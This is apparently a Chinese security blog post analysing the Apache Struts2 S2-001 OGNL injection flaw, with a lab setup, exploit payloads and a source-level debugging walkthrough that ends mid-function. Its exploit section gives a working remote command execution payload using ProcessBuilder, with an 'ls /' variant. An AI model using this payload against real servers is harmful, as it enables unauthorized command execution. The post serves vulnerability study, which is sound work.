【Struts2-命令-代码执行突破分析系列】S2-001
前言
最近学习java安全，在分析s2-001的时候发现了一些问题和心得。
一方面网上关于s2-001的漏洞分析很少，基本上都是poc+利用而已。
另一方面在调试过程中感觉apache官方通告有不准确的地方，这点见后面的一点说明部分。
有不准确的地方望各位师傅指出，谢谢。
漏洞信息
漏洞信息页面： https://cwiki.apache.org/confluence/display/WW/S2-001
漏洞成因官方概述：Remote code exploit on form validation error
漏洞影响：
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
环境搭建
源码结构：
几个主要文件（待会用到）：
index.jsp
<html>
<head>
<title>用户登录</title>
</head>
<body>
<h1>用户登录</h1>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
struts.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="s2-001" extends="struts-default">
<action name="login" class="com.test.LoginAction">
<result name="success">/success.jsp</result>
<result name="error">/index.jsp</result>
</action>
</package>
</struts>
web.xml:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
完整源码见附件。
漏洞利用
最简单poc：
%{1+1}任意命令执行:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}将new java.lang.String[]{"pwd"})中的pwd替换为对应的命令，即可执行。
如：打开根目录 ：
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","/"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
漏洞分析
在经过tomcat容器的处理后，http请求会到达struts2，从这里开始调试吧。
在 /com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:158 接受我们输入的参数值，之后会调用对应的set方法(这个省略)：
ValueStack stack = ac.getValueStack();
setParameters(action, stack, parameters);
} finally {
继续执行，执行完interceptor部分，也即对return invocation.invoke();进行step over，到达/com/opensymphony/xwork2/DefaultActionInvocation.java:252
跟进executeResult()，到达 /com/opensymphony/xwork2/DefaultActionInvocation.java:343
跟进result.execute(this)，到达 /org/apache/struts2/dispatcher/StrutsResultSupport.java:175：
此后在dispatcher.forward(request, response);跟进，此处省略一些过程，相关调用栈如下：
进入 /org/apache/struts2/views/jsp/ComponentTagSupport.java:47，
这里会对jsp标签进行解析，但这时的标签并不包含我们的payload，我们可以在这里step over，直到解析到对应的标签：
如上图，我们提交的password值为%{1+1}，因此着重关注对<s:textfield name="password" label="password" />解析。回到doStartTag，执行完后会再次回到index.jsp，此时遇到了相应的闭合标签/>，会跳转到doEndTag:
public int doEndTag() throws JspException {
component.end(pageContext.getOut(), getBody());
component = null;
return EVAL_PAGE;
}
跟进component.end()，到达 /org/apache/struts2/components/UIBean.java:486：
跟入evaluateParams后一直执行到如下图
由于开启了altSyntax，expr变为为%{password}
跟入addParameter("nameValue", findValue(expr, valueClazz));中的findValue，来到 /org/apache/struts2/components/Component.java:318
protected Object findValue(String expr, Class toType) {
if (altSyntax() && toType == String.class) {
return TextParseUtil.translateVariables('%', expr, stack);
}
开启了altSyntax且toType为class.java.lang.string，跟入TextParseUtil.translateVariables，在/com/opensymphony/xwork2/util/TextParseUtil.java:
public static String translateVariables(char open, String expression, ValueStack stack) {
return translateVariables(open, expression, stack, String.class, null).toString();
}
继续跟入translateVariables，源码如下：
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {